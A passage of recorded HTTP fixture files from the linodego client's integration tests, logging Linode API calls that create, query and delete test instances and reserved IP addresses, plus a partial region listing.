"2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.33.68.112"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "feeaaa559bcc85eaf49df4ff34238607aee5ad94", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "856" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63432444 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63432443 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63432429 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.104.20.77 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_CreateWithoutIPv4Field.yaml000066400000000000000000000101501474652371000343100ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-le6w459su62x","root_pass":"j\\9[AV1,4@91t=V7nB2;QW8~dsmoWfK,b@A9g-K\u003cRr3xBn{11|i8TJzc\u0026:Q$H663","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63830274, "label": "go-test-ins-reserved-ip-le6w459su62x", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.56.104.28"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c6618489f09422003470c02e7f12a3e0b5303ddb", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63830274 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_DeleteInstanceVariants.yaml000066400000000000000000000456431474652371000344700ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "69.164.211.224", "gateway": "69.164.211.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "69-164-211-224.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-c1t2pb490c1p","root_pass":"TxEZAoyb0\u003eH7P\\[l0L\u003ccr?9y[UD5u\u003eH(Rv6v}A0u]9L1j0w0:4|E$6^]39M[K4yx","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["69.164.211.224"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 64649882, "label": "go-test-ins-reserved-ip-c1t2pb490c1p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["69.164.211.224"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "091414d3185b27660e1fe9157da7bcc48d9f51cd", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/64649882 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/69.164.211.224 method: GET response: body: '{"address": "69.164.211.224", "gateway": "69.164.211.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "69-164-211-224.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"test-instance-freed-ip","root_pass":"Bqlo\u003e*1IBe57500Tc50e0\u003eNqESxQ4Z!Ea,\u0026+h`\u003e\u00264l2$0XD`QM(t`2uO/(a66Wyj","ipv4":["69.164.211.224"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 64649889, "label": "test-instance-freed-ip", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["69.164.211.224"], "ipv6": "1234::5678/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "a452b4b8a90dc1c3f7a916bd423079b94bd11772", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "849" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/69.164.211.224 method: GET response: body: '{"address": "69.164.211.224", "gateway": "69.164.211.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "69-164-211-224.ip.linodeusercontent.com", "linode_id": 64649889, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"ephemeral-ip-test","root_pass":"?b7~}tJqzQ8/GsT1\u003c1BS3Zn9R67nhsA[kZ@g=X3}B-^z88x\u003eRG^08CzOp*2\\:97g"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 64649890, "label": "ephemeral-ip-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["69.164.215.150"], "ipv6": "1234::5678/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58a354ebdb494a9193cafdc0920899b2b5ce7333", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "844" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/64649890 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/64649889 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/69.164.211.224 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 30 Sep 2024 16:52:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_DiskEncryption.yaml000066400000000000000000000360101474652371000331010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": 